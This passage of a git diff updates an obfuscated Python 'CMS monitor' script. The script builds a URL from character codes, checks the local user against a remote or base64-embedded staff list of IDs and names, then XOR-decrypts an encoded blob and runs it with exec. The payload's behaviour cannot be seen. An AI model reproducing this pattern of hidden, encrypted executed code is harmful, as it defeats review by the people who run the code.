_e=b'HVV2&NU6Va2mXx!F4<5BI1O)eAuw8L#!k-;Gr?3-XnX06$E*;zoMte?HNkXlC!nzY_m*z3H4{`k{0sgcScDBCz1RE;R~Xn_EmTw>fB|D!IJ#AICal5bo$vGTV?W9{oHvn*U&v0$a)PwK?Fouq@AYwZ8lAA!c5GatUALpI;_ACXl(#EQQET+O}QA<$aSTAzKXHc@2A*SU8zWOQQB*Fb4)PGYsJih5X_*x!=WT8bIAVnaTY&gVq%R!4igQ!o%AL`BUR_Q{5CcA=NsP6SB=e-%XCo%`?!Ei*@6;_-rG|LlXfMW8DAv(T5Hhj3@)X};a&PUP=1Nc8o2{|M!(eYK9JcK#(21qTayt)QM^82+0kJqpc^4ms8_LD2lKoG!iR-r50AM-M)gu|qXD=F7I5!=zdfyN56BtSUlZDbwd^P|}0fk_jj(}$n(7T2}3zA5P4LLQPk5gUyGNx8zHm5RgwMF}tsbQXY;_R?YMmeL8A{|Jep9LPa>nW5@Jh3En)2-#iwb?-b86nqd^ldHt8WG1=zfq>NWy>|JW&OD?sv_&GAAniJ_o&ezg=+nTE@86dyS7IJ@qK5me0MJwMM*3LQr;yl6}}fyK^%UVagc1@Py@GR>KDBW%?wiqp3TC>0S2uM!3&0dpM=vMCK(XVgpp^Pq}X&7vJ3?uNi$ouT3AB3dY8pr$q35;7R{_g72#R!Af)u&dpkambnbc=t7Npk-l&PI{^zS>D`fLkc^JlvKGI9e&2#Cxyn!{zaV*`rrGX6^fwN4$qK(Y9DwbKCTg;fqa}%y`YD6WbsRhU!6ruO+MsLm7iLj5-m=lsaMZb^LY6L`-d0wEp2Gkh;h5~q6nDi>gu(EX5b$%W391W8SLg21K}+i?QJ*U;UKmNR;)yJfW7cq3qV$X#F8l;2d0V2DG+0nTfP)p&LjNxM0`*M`lDDqDdlf`)ZlDK$G!?1d)l~B?;~@Tmsj{+pz=eU0sWQczkMk5!H1;76dJL6d245@Zs0BfnXnQMW+CgO#@u^parR?AifXnMxy#HFn3ILK0rnt&_Bv`gBuI4RjjCj2pHk+J5kykAz(0+}8ZlA2iDa)X0JM>?~7or@e~P)gCa8gZ&<&a@1<$-;b!y&kT>Nd<^6-Wm16f4#EJ5SN=b(Nz9P}d3(&9(LjBoc$oaSihWzR1=aFSDB_&TY_tgn_ak$Lvqi2YKp7g5hTbbwP-=2k->wsqu=-_|GCx=6K@ta;w2xCS5FQx-+Oza&5#T)!K1^`*Q&omG_VIwO%ewF`Fl9rz88#0+DJOz>zSMgkwQkz~+g;&-#Dp;))cVrr;v4RdSC#!JF_R;As%IcltV_|TyANhKa1kf=e!Iirz))9nP1odFDHV6_Z}3aR7=AiUl&@n)bBRt}NRl*B5=?E4dE_7Ga$2UG^Rg2EDcDfAAk4`=-jHrwXX9J(VSMTJg%G0wLlCD%3nt2!WUl+YWq}i-5SHocKbE8$zCVvM^iKoQ1P%fo9DnR>A{Y;$t@}MBT-Ayv-4Zb_O5x3vbT~q3e6{md^qkH#e_*b_`wm#P0QUSHr0e-bwY&?&l9&LR-+8xHC1T_7?!p=daQwLKl{)%=&X5?MFre3hHiHhbZYbVc_SnVba{P|f=Lc_F&sNF$o4{ygEE4ef^%qB;D>99e1W&Twq=p$)pF246CE>g|srgte3L#kK2EWj4DG{dBJeCL651F_VDp+&PFyuS)x>o+!&isajcfl9@lSWtM214`Kd0$BgZZ2P9yo?q!n|=iu!=;JX0KcABGd*G@J<2{;0-i9UpM~-5S~7*l}9d9N9z>7K|M@uoo8n|apFibs(mn4sTcuG3w1FITeqf%0z9wI&`gE!46NxRJ2ab)_be=YdhM+-(?#-3z8``dJ(mLy*lu#u*#sny@_)D^@JvSbaD(H)3Uw(oitl&i{|P4d#f3jlJ@ZfGk$pgT)(FDZU;(zw&Wop8@WNAg;(z}Ee6~p??})_fFmkF~xGnZXnLDhV++`h3zasu%B(F9mfgI5BPft!2;{d8&5->j1A;Zy8oo{?@fPD6thFg!8G=`q!(M4^RzIlo~jIh)RvCO&>+4W{J7EE9I&v-iQ3&e7hm~OAw_aDVyyIN(&^;_MmE?bx*QSD^~YtA^x64Y;JaK}~I^3rdJdL;G>t%F8ExQDJeE@4c8d-@(;05S6V`5iS7_7=W>bKXJgcpCH|r~*JTc>icvIBYg2hfTNfidJO3T4>@S|dJ`#rkw_q=o7u=?~)%mZSkw`KMABnGRXd_-VffKA}zw>+yv27+tQnxeX0tgx;rXAfwz;~=2wWThGJ|0BE1^sAdY67fP+80RqyOYGuR%@S0#{YLZ>WfB5(XW16!)g1JX0l?!$}NNOSEhs2GmkU9U#hckEm8jW0gs@KA2z1{Y_6tiCEoTbfQvGA007iB90aDX5cm;*FTbOK%F;hcW~M`dJs1Bh6?St9-mV?vM=jP3b;nJ^G~Enuwah+8p#IA!JBd`6SzsLU&)=t+7hAud*&EXD{!3?PM`#zrTa9jJAYfY$c{JF6a@%m10O;H8O74Dm23Y(U0W{!J{$3p^`B&?Pc#Mq1?WynFN!hDx!oUb-_0iZqSB0Io&JQ;hsLou%E=VCvH%*jR}o`7u3pFfrg9IbSI8BQ&Ebnso?@??V;X39OIlj)8n6Ah!#8;Qu0c)c?SC{h!E2BbvJg6M+xTyv@28QqOw*yQY=79os{Y#~w)+Q2P8==)v|vq(s@*g{s9)K}J2{cdz}zuYAd?jViE_9J=W}c`YaDJWL-q-3au%_Xie2A>83IqtxuA;r-U78AI|$`V<@P6#tv(1h^CM(Y5es0)@yIK2fqt~v%WOZrYdqIKiTO2U9NG|$-+jgt_o)ii2^Gu^9x8M(`-r}daFn02t}OWrkINzL(JMS6Kh{-5uhy54}v)A*EX*bkKBL;Kyu0e*)EnG%LhA${Xhq2>T-pFo(YOuyMLyiLU4RXzMQ<9YkhMj^FN(S8ew-kllkKnik+slDc_wAbZ~FtQhXx}N@JLo0D$cO`j~=kOKw3FW|OBRb4Aa#W?R6IrXiwUIhp&Vay%SvgOBxs2lx>f6wjPaP$!c#2ts`*>X+qC?z2fL+p8gwVFXnE1|a%c*8)mjVzCd=#Wugn62Q&M@SQjNlw8k%!FcJbh-xP7P%ziUPOM&mApR9MNF!eufXntf-X(qIV6HVf+@sOw47u%jpH7gN>5@I(je~Z%lFz*JepPAZtQ^AWG~soDgl&7S~s508zLJV=NthEf3kCbfFh_y4X9upaC?vf37xvG1hF7ZQ4%)YLo)GplPw*^P1K@M{`*&X(%7*>wa2(axL~qNsOpas1JvJS?p?ekja9r#b>CVAgm}iQM1Bhu}1e3sT!eZFW$&zCtm5(r5QMwCpcbmJ>!v%nndk$I%9h5!qMwhYVh9^*6sqP26Syfn@L{3ALA4&($l`o6@{niUb9ez;Y)OhF8u~0$XRus=%0Ao?7yon7UXnmF4xyXLG60!K%NJb^v7gT&(KaYXQOiu36-YK`lo@387wf_4%JX9nq&kgF)iPU$n>>fdFlV6qhUnRZx7VJ7AM%?UiG}S&S30LrGdpDSueflTebuGi3Mp(OOF$12W;Lem|h;Lp|%hjw>*_4uk9~a9rpM*@HgGv(9u3Y`YdU(e6#*F@$81k+&WML)wK=G##7PUn;Bwbt)$wZ1S7usF>;~8}^$7W6Loa+YDgTpGSv(lD?q?fD+%gHguo~FJRzBmCdNqW@SYJSswx-lA9tE5bgsoDs2o6HX&FVtIJDzm&$swIy4u-VxKyn9XJ@K+|rgM!5Gi^|0C0z`?+kF`V-?Y1dtNN5odpx19&=*^N1*>v>+^iw=(|`a``b2%N&zM9MZbeh;NIX_RWIac#*M@JUN>LJa<`^IWFH%O07Kz`*-*s$XF-YA096wFh{P$B5PA&15;(&cli>9J%>$%#F4UwLbJ@QM}5t=mU(Kv+{O(Ob{`oRzEb)u%Xe2rcRd$OK^J!QeNg5nXb~L0MypQ28c10l%@mh0g|I`$+N^SS8Awe6h0Noj1QZ{I)kHhpZR|vWNt^v*CKo(#D1_|#YuE+3YkJmJ{^`6yM))0wIj4`N*uH?FMO2wy}ieF5w9h?4%$Ns!+97c?}GID=3$&wdc7fG2Awa5_*l>e-dB<8q`tj4hCnZ16Q3>nJYkhOLYIGSP4$Nc9Rj*v-uxr;vcjdlC38+_DK)x&;=706+7;)|`WAdq+_0E%)Z8rq!4!S$*t;%x)~DiQ0dD3SgVh&JnTr%CGNA0`O3_wZnQgv3!yy$w0baMi(#_^#v5dLRJH(tAts&dSShTpufm*xNz75u#jmD5ft=p?;vEm!gtwd&@kMMNM;j~T2VUNp`xt1WByAvffju=<=oP(r592x<_*Qb&D1QFMp-o&XiCbOLWjNTHc6%{|chU*5_*ZF)x9%Da5kF!WyRqagA-@{8N%F{Ang?Gd3Kw$Xon%pc@Ek=y~w=fa2qABt7^DRw7!skct48G3g+|42cZTj`u1ZCazUmtM)=EXu>UlU^8V^Z4j4l;fWX_S2uF6bTQl@8!gim#4_nXM3IB12IDO+dBhz@n4GMyffhpdqu(X%2xWdw9#uo{l52>=LmGPWQFJ8zew=iZ7R!S`Ii6DtoNS-rzx)X+f7^8S=nSIBPwlAu^U>0&5p^aUQ+|gd{Vqz7pCvRVC4OX+|Y+V%k|SU9upLe=-fqOo1C{Gozv7|ChH~Z)ef9Ls@aBwwvy4U~qgM0FrA^+_+;FYl)mCBxA!#!YaJng@p?xU7W24akg6NT}lMe`Ha?$8`=c&Qb*P@LBnJz#+mqj|2o&HdUz)kGjzKLlUh1zXMK>2Mi`WLSk%?n<','exec')) except Exception as e: - _XZ4eWrBuSCZ("错误",_FfYdr7F6()+str(e)[:50],1) + _EHyhf0GbEye("错误",_SsMMeF32()+str(e)[:50],1) sys.exit(1) else: time.sleep(1) diff --git a/cms_monitor.py b/cms_monitor.py index 8d8cfbd..4c2ff8d 100644 --- a/cms_monitor.py +++ b/cms_monitor.py @@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random from urllib import request as _req import threading,importlib,subprocess -def _VuEaqtfRnQtN(d,k): +def _dNveBuPtbyIg(d,k): return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -def _JzePq8Oge(t,m,is_error=False): +def _vYRllTXtA(t,m,is_error=False): try: try: from playsound import playsound @@ -33,90 +33,90 @@ def _JzePq8Oge(t,m,is_error=False): print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") return False -def _vUVCgEFdO8X(t,m,e=0): - _JzePq8Oge(t,m,e==1) +def _xwogvYKM92p(t,m,e=0): + _vYRllTXtA(t,m,e==1) -def _hHCe7Qqbc(): +def _ZUOeWbwxK(): _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] return ''.join([chr(int(c)) for c in _p]) -def _XYzKovFY(): +def _gmpUT3Ys(): _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] return ''.join([chr(int(c)) for c in _e]) -def _D2OHsnp9(): +def _cdMEXxib(): _e=[31243,24207,26080,27861,21551,21160,58,32] return ''.join([chr(int(c)) for c in _e]) -def _g8tO2t84(): +def _YXi77oCU(): _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] return ''.join([chr(int(c)) for c in _e]) -def _qY6zOzeL34(): +def _aODgAOUQvT(): try: - _BCr8kvbg=getpass.getuser().upper() - _aSXx7gdW=os.path.basename(os.path.expanduser("~")).upper() + _VyaWbkQ0=getpass.getuser().upper() + _GzgHlBDj=os.path.basename(os.path.expanduser("~")).upper() # 转换为小写进行比较 - _YedKW86J=_BCr8kvbg.lower() + _OtabNefA=_VyaWbkQ0.lower() - _spu66kD=None - _wPuVF1Yh=_hHCe7Qqbc() + _PPZqeH9=None + _NbSc7eVu=_ZUOeWbwxK() _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) try: _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} - _r=_req.Request(_wPuVF1Yh,headers=_h) + _r=_req.Request(_NbSc7eVu,headers=_h) with _req.urlopen(_r,timeout=5) as _resp: - _zsNOKfu=_resp.read().decode() - _spu66kD=json.loads(_zsNOKfu) + _Vu3pV5O=_resp.read().decode() + _PPZqeH9=json.loads(_Vu3pV5O) except:pass - if not _spu66kD: + if not _PPZqeH9: try: - _zsNOKfu=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() - _spu66kD=json.loads(_zsNOKfu) + _Vu3pV5O=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() + _PPZqeH9=json.loads(_Vu3pV5O) except:pass - _NdCMsamNv=False + _myrItBC6d=False - if _spu66kD: - for _id,_n in _spu66kD.items(): + if _PPZqeH9: + for _id,_n in _PPZqeH9.items(): # 转换ID为小写进行比较 - _wobezLX=_id.lower() + _MbRJb6K=_id.lower() # 不区分大小写的比较 - if (_YedKW86J==_wobezLX or - _aSXx7gdW.lower()==_wobezLX or - _YedKW86J.startswith(_wobezLX) or - _aSXx7gdW.lower().startswith(_wobezLX) or - _wobezLX in _YedKW86J or - _wobezLX in _aSXx7gdW.lower()): - _NdCMsamNv=True + if (_OtabNefA==_MbRJb6K or + _GzgHlBDj.lower()==_MbRJb6K or + _OtabNefA.startswith(_MbRJb6K) or + _GzgHlBDj.lower().startswith(_MbRJb6K) or + _MbRJb6K in _OtabNefA or + _MbRJb6K in _GzgHlBDj.lower()): + _myrItBC6d=True break - if not _NdCMsamNv: - _jGHMsaMqs=_XYzKovFY() - _vUVCgEFdO8X("访问被拒绝",_jGHMsaMqs,1) + if not _myrItBC6d: + _nk6N9bSiX=_gmpUT3Ys() + _xwogvYKM92p("访问被拒绝",_nk6N9bSiX,1) return False return True except: return False -if _qY6zOzeL34(): +if _aODgAOUQvT(): # 显示验证成功消息 - _vUVCgEFdO8X("用户验证",_g8tO2t84(),0) + _xwogvYKM92p("用户验证",_YXi77oCU(),0) - _k=b'@K\xda\xec\x85\xce\xe9V\xcf=\x83\x86\x15\xb0\x81\xa8' - _e=b'IM+v({6PXPz2$s$JnGJG&>1PgtWfid=orbQVEa{O%ITtH5w>9R!PkKr5q_r`BZz~{^eidfe7p{t%e|eD#>N7(L;cdN;(zuzYhMh1TXVEn{Tj5RzW8fG})PVtWg1ZQ8!+DQo*)H5j9sz=dC%;AvE_ibgNFl69wy@>?_rKEb3{ZlXg&cj9CUuPmyyJQica@6Kcp_V1!Hl93_YH5m_o&rZpIYQ4<+gg1~~vB<`*+HX33lVK|Pir)VH=;-ws(O1zowLc7Tf|vVd+cpzN3QS?yp2_p*fe+?%Bsu61guPy>yeuiTa>^_tq6%D=82|Vnx0d?QJ5zTE(@&4LT+L5PRt)v@ldj2kyFx5~osz<&Sy@G`kX8{+y*g|#z%1mZAzq!>DX?+PQuLlJXYEbyn`CBF|)KD8q-qJXewB=-Qx+@yt8@e37;?c~^4MpCGEBe=hRpVw1)5ep39IbnZ?%q&Ny$;T6FZ#CrqU}K7zN?i|co~+e00RzrtiYA-DY>TqXi9qVT&#ze!k(@BdN@3V3V}X-5zM605X_bgE=1-J^-pw60^g|mKXNl#aJK)#U;~hRphc%%NwX}Q`#Jt;GWN4px)FX(=d>wTdONlhQ`$HN7j8kPdUf)YOcmz;5)L{HVq}cXkT;WppuyH;HPRoJg>l%H(CtUT6fas?fbE6Fxz-d;b@@ZJq2@7oPLyhMv;K`#zsL2P0d)!==R-GaV8q{=9Us6WiPySaIbR*sY2xtzhnF*+#GD;h4uCNG>vol!k?CT-4~UN=xw;LU#IVfSRVH{J`D<ItrI{B^TeCXc!D}(b8(AS(7?f0o(2FC10)S#MPvug%}s_r7*tAYL#BrR2007lIB6hM4-F;zY55E(u!H<=`3cwan=x{)EPPJFEe&f|kj+_{>3ORQlRzCN0`SVwbP>Pc>QzP-f}Xpt4O_yT+zdd_lR|FA(5brY7XVp9BYhF^bD-*wLPck~Cn{~Gz1gg4F9Eig8}NhKsb5E14GbP01;=hv*nkHIksfWwvh4TE)5)o%txojn**uXe`!Fzo*J<@5Sq++1OD0dJn>RBowx7t4OYwW>%Z&-RUe;JkaPb3dSpOziTPMb$Df`oJ=5x-p7V#x5cAe31R?%HI$~!r5e1%8TTL{%P$Rplzsu$ivo8w8b}BzG#U337p_usgATIwkXmBhgJ$vk6Z)YD%p;IFyQt-n^$Y}D6Su-Rb1_P0-P%1|8u@$n%2hLZCjd|cOhC%Z3ad;2(I!>0TN)@@J&9T07gA3b+9brQndf`zC@3il=`_Q0P-lO>Yas*VrP>zL#?=BKK>tmcW_>wYRp~?<$c@Qg)39d(gvd&ia&l+ggvY-+dRc}X&i)B@LD~;>=N`Kzhm^c&&ZF}NLB2jf_1sp*c%nmXah3SqzwVPTDLo5l$q-L=Z)P5ZMX2dVm~~{588N2j_fyHrtow_kV{#ijM20DhHJhVB>VE}RmB-8`sei99xqPF>xg;eRKJgPd5W^^0?seW(hddQ?ol$r}HPX)hs@^G7svMlHc$rc^_xpT3s?Lo)zrJl!eiw!+G~Qf$^Y4F2oA)7+E)1}*6e4_SLJCm~52zX+=Emp$c*Ir_gGF@V299;3mpB|Bl0g2Xz#q>1I7W5yIukx|$}{|a!k4A2ilQ=ms(mfIgijH5kWKxn-vm8xm^%6{wicA7cGTIhjAUEJT9TCC|AAc^(mw?HlbwA4ox#{M}b<&SO&|_e-t#HH1fY5#q3ph-&Z01K@!2$)`_2R7NKjy23R&QvvXjL?OP=%TPmu^)@qbI!u5eTt0T64BdA`bN0DzMp*DtE9gr(jqp8knq^7g@6H7};@0Y|Ayu`?8D?te5tG0`IqE+2`psVqwtju&aQA!@4rt&KBN?=)T=dgvNiE0?4}~wy2!ElKx}z(M#h|thoWjPy%!Yxd_d@D^7hop_JONlN!6n2*x`Yr{d8zUYkNd_4?F3gqfFVIUMqwIUaBe>2E-dL72X`o=`nxn(E5iB&6IC_jf$;tf`BawwKmcceJC2rR`+J4me`Xa-%K;o+uVyF1+}MurzHZPaBTaj8no8r#l3Msh^dqIP_dp~(HVl6~6FJ=19tdzi&g7{DS$;s@uF+3~Vj{h6{=A@%Qxf^IwSl;mHecY2C(Mw=D8Se-F-a2?j@`v$6^?_Pr?H~pnb$r)8)+S4x^E@V`y;Z$p$ITjIZ9@(s#SIg0~DB(#I&X*^XeP*2HbeNa9D!pE6Al-i$tcQaTsWd#;G~kq6n7=)IDW@AwYRNW4+^1UG18ob0FsQsn6QjHolFBi{Luz0REe0=9>Jy@pA$HQsd{;Jd8gpQ4|F01nnpgs%;p)Q+wiqxhL6&sE9P!kQv>AW4?7!ScUYoD#aaY~7$ers9%(&!-|Q>qjQVU`GA#m)O9vszOPhRurQ}^MT{FZ@hq3^1QlBx3PG44*6Y+ojZfj&`k%^vZ3i|{vlvQ6fbm#GH!6-?0zQ`f21W5^LMD*5A)mY21)+d(4Ld+9T}&gJYoSL9bhTy%(x=p%%)I3&e2(aZ)KulyqY;#$FuTopl^AYMDNT!tJc?pPeE8PG(v?YJ#zkE2$&Ck4D8KBZLUJt6Z4~8zxq+~*NV9{*1Z@P7gZhbUdW~Vd1rrci!6ncdW$g9Z8(&1L2UHArPHPNLop&;RhFBPd=IpFPs7rk?CdE!!mZlq5~q9yMvoP?%8swJbbRXw9~`q=tyPSpp|laiab9m<_Z4qXImV`f-Rc-=7pQ>@!~HH|#(r$reU&16x}^qQyem|lvh#Cd?a{^QaQ@uT2#ww@%1d*&irusQ$;ZWk2OS>&Ibj+7ZTdx5~fU7##YA&CBz_;@)t^_%`elRfU(&6)P7vPoHZtA9vTtl?ahfel4AbyuQX0l7oLr|OcM6O<0^!$`58&~68-5WL=NbXTLr+$GP>8q;xoix&6XmdG^_4o19UZ6&$mppU^*Xn9WV%AW;cDfgMySA2^>X0A~4zrB9@$;|k4T?{GU2e=1Vitj^lAMf7fup?{yB6#nFRQNTsZtLSPhK7~#v*kuN-e8enA6VdcS{6f3*ZucdzHUIIC(_atCv_tJH~6H^W=ly&VpZjWT(Qj{NC+kzIVe~->n-GVKU)Omx7t3@1|UIHJ}Qs>3Fi*r&djaccnoXDmU3`F0ebT(F1ypv`y6Yn_on|4N?jT(E{9HHKv!T@26XtD;GCsPoaO94jR=O&Pg%NVuD^C(EFY9Vrb9Y@S5R~smPb{yVwi7_nK^T(+8R4T``m9tl(tj$W2mh&BgCguk|9xaRb(}W5`|3Yz^aFXAsG|{u}z5Y<41B7aetKqpj1dE1BE3DWrA8m(o7p~UCR~SlSd`Z1XRtobgD3A6m06Z-`4`%;A9K#QQ`TmjQ+E9^eY?HdN0s*}zfEmCfVyugn&CmfDi+JHB#2HsT#wA77h-7%9ZU(tn`&T3PhA=QzT5BB8N_^!7=UsFUZh;O<5u)N%ej9C{Lrd2@*EIb-BsEyeC}`bzg_T<6(FLnQsA;425?o0skY*PB68;7~;t;*WBCgrD!p8AV}oyGk-{0HD|t#1Jk_kC)@JMsEJy{4>TBQfy3YUlt=%xmI)>Mk^7-=v9R{ydQ4-k!bVZDogr6te9L6ov`hFeZo4tcP-i(=Bm1=<#GGk5Ow>cc-&`^#;=}>`7sxRDldF@noRPzla$mZj`H%vr&AYjy+%?uB+WxuN*uD4e);Vy9|<~|-|ed@J}ScSIOVj_*rE2J7ik_0^3^~SNC9%U@L4|^pF5IE+_OL?X-7jo^z11~=u`X=2DMDDJ(U|2G@DCs#iP8{Gh&mNcKnxgMOS#l>H?wUEIR28eJ(SUG>6OmhyLE{i9@4PYIj++{wxI*Ic)h8e=TR0!Vr?MQ{4F`zahL2wq3pQs3aMS%nTR%rIUC5`Kp?l%*;h)T$RZpZumkLL@%$Oz+j?VNK0^Yqxq{uys}9zdx@u7Eo^;{_QtCtV=XW58;+;C(XBZqkc6#d~IA(^y+rv}Q~Q~p#ay>(4>TFBGK^(&AaybKuF)EoEqNV>#FcFN#|0=V-JsM_0S*JlCQj`vV8Gjh8mms%hN`(J~8r%>ZB*fCo^fv2DkZ~;oBx1zb+bZ0to^LSLq<$|TIiI_acgPq664IfxApxql!(rr+0^Ki$y^u%@fL3ItoF>2W7$|nM0)SS{9R)MA2qgBI5VE_3L+NQWjK@M_j_K-yHPzmsfx#DQ7ye%Po%N-zgA<~2yXUFbAfpA&EmlLN+9z%0}F-KXs2;v^oyM#aMjvlh6Le*g{pUitxqHg7LU@oN%YEmQ#rzjbTbnjM>y%~M%ki^*MK7L$3lzY-l*cgoYtxL=EBQtV=MkzuBrbL>pE%weZ->F#EZg9@Iky?g8pm=wMi$z*HeRrCK7q15feXie%-=kBKoRA1$@ngLv)tA}a<&m2D0bro79@OMkXpod{Ajmy(?{MAZdxNo1ER-ueVI4^wzUOo#IBiL9kE$pN;8y(O;S{BA`Z;X~bm;+(0jc=C&Zp>iDk`)?!zeZu0K~xzRd-c|_~k+i)Q`pic#V=I+e%b{D#;Yv0MtW2a35=x49z179Qd8XdU8KIXDZVKVaqEhvOt95u-WiNV$NVe5XokBC+RzJACDAI$4c^NPdHu=zxPQ6t*T%<%7ryYh|nu5M3@^sw7H)n~ccNqk>&En(}3S&hscZSvyEs!50jUx$N;l_KSnt9+9yMSX?^dhWR}2TkqhmL}6TI6Vq4vCFy$eTB<=f%fw!hC%|`5Bn|@0zD}r7s;|c#wn>)`_)C7>xm;oV|BOkz#v#rPt6&eDDGoY^gcC~>4peBfdPR8&xOC2;EqqG~Yf$F`_e+w1b*G}Du?uGl&>8(D;@vo?Yc#s8!T|ACRz@(l82Ko<)mlV47~tk|k#w4tM&HiCB$y6i|YALJ`G{5rXD@&ONES%u_k32*Xh2Gy0Ym+b0Pl)b{_rz8*S5J&od!1ce;5}9r%?PBAuti~x8EOR1aJ4qiE$$BI1D7wTlOesSOYOdaq(y8`_uiFyY9-j+hl69qLQO>#uo6GF+)E=#|)XaeICm}FF25O94R(^B&S|(Z3nVgS~d<*dhW5?f&uUM~y@Tv5+NE5GIs>^s4Jpo*3>_RsZ^AKs&^F;(O1}CsU0JvWf^3>L=AuSDjlX4xr+}cRm;cS~Ff2@{)i3Z4WuB;I57+#jy$ok%uJT`g!*?@HRHd)ywh5bfO3WbQJ1dNiR;Wif2ceF5chSwEi(cRHfq&f|2`1wT>5H{QFi2!B=ajir%?dxTme#wg(pFUa(!YBbXn3Z|#rB0f`WJ&Dxy$LxfVbT$|J=8L1#jdmqI*mdl9NXUpz;@|G3vH?zkZy#dX!*}z!t5?~Do_Bf>kcj7yBXXLfLh2NMP@V%#L&dw}B*2beStv|AJ)P%~p;_Qs}=IMb(_o?%HIhTcBg7Sg*7phgry!JU0SSHh-{`r-HS+7@ll3HY2WCmKpM+ZKBl2<3^x))U}2vS9G+d+@El1$;~UOdt~Q+1nnZU&a%N!DzOIpbcVZ-MMF-_(J3`GW@(@=o0JJ<`{xoyT=4vU}=KU>nJ>i_lE>vDyQKs3lZfV1z3ujQwA1><+j0M7|mV`fOu;{(UukcV%4c}isb-uwOnCoD9KoJxl5Iun>xM%;=$!VXI$6ra!7Z$2ko&Dm%{u>WXUZUe>boFC@pQS|8~nJyGvwozKt=1w_?JA=Ir7iE1a@sUK$GG=?cgMniK9E^>WmeEfCtb$(b3rP3Vf2K#mS9>qQR}st0aSYI_n$Q>`?21$y@GL&2e(WF=uca1y$NhjvZ(vf+#u${e`%5CN>sM4iLeY1M1J&h6v+!Nx_1Af};!{a8@wGbfqL1wB#qcEf;`#?N}o$ts*+sgh4f!63J*WutI`#cO~^V+ui4*wUHVy+~K5<^*$raryb&hX_fcm)vCgCd%PlzNA;P&e>pYTWufO&(s(ym4wfW#{C8_5O0MRoo^2S&wLYs__KCUIK0SwLp$H=FUwK^bEkMGJqEZ>74ENa2X_BG(8L*dDJ@$^07lfHLzdKgu!t*OK&GJT5aAIEJP>%`7qnDHk0iu9`C=`x$7q$H2(~Np-FgnLU!I(q`YMpTmd(0u!}UW;0ioN#}qpp3XoPQanl!4XplYAELf%hkF*8UKCwi2s<%i_RJ6?#t7?S' + _k=b'\xe9\xb7\xa8\xb5\x0bhHS9\x81`6_\xe3\xb2\x16' + _e=b'kt;=sU>jSMi(Z`_>8Im_`~E)6mUC}uj=7{VF(dmE4pVj)BfV=4P$|>kG1}koKA}34lP#Hd`F)LER2+nkitcy`8Pf;!ou^s^kDl+Z6ItX-Ynndp66@6?@AXF-#&S-aSQj>r)Jt{Y|i^>XUCW?GZ-hdW_tPj&fSK4d2^9sXd2-Zt`xzRbEI8_s@4blK_tR$LsdctZ*dZ-v2l*Xo|c2awf^>c$YGRtvO>=Fva_b-T=vcA{&bGWwj#B&g@dntt+Zmk&REw$)?#gM)se<4FI)VdZ4?xu@_NCi=iDF>?;AI$nW0p+j{S|y%v+Na0B761F$2&Ks*3zf2#W(0XLkD?r03(&$bj$4-fyY|F6KuJ9XYK?TgrILA4c8!HzL5A1~7pdb1UZA6ksB$E@ecZRBeu%+{|B08+A@kpIZ&lAG5icu$Hk3Z1Dh1DaF3h8$8NDU*sh|>otP?>jn0Agnn+C!87|W_L>cC&7Ss{h+b=B_hOkx^X@fR_W5HS?f0%TnCVgcja?1H|Gf0PWc_g1!}SeM=nCfy}(sZqWDz+uu4EIufV-k62+V+%ZezN_Zq7#*5?@HnO4h9wOE^T*64uBO(=l5Nz>v_DdYG_2;-JaUS$wNWSPQXgOYV^FptqZCJv4^x{)!oR)V^hdR^pGS-1D=X7?EwlHtL5A!mmv);tKp#fVsX=)1cJD__1ohOJAOp5W^pe#*37T4YB2Ydb!Z{5osIV9edCBqbU$0MZfKK2_{SPSR6-YAy!gfWfo?S-9^GJHW0N`U5V4%ps_!Xnh6J3K|*%iBuyhogKS=cn~sE*AeoWKR3+zXl99rS%AoflU{+GqOIwx5edL?c3=eXd|BfnrT|p24@nOO>HV(6^j8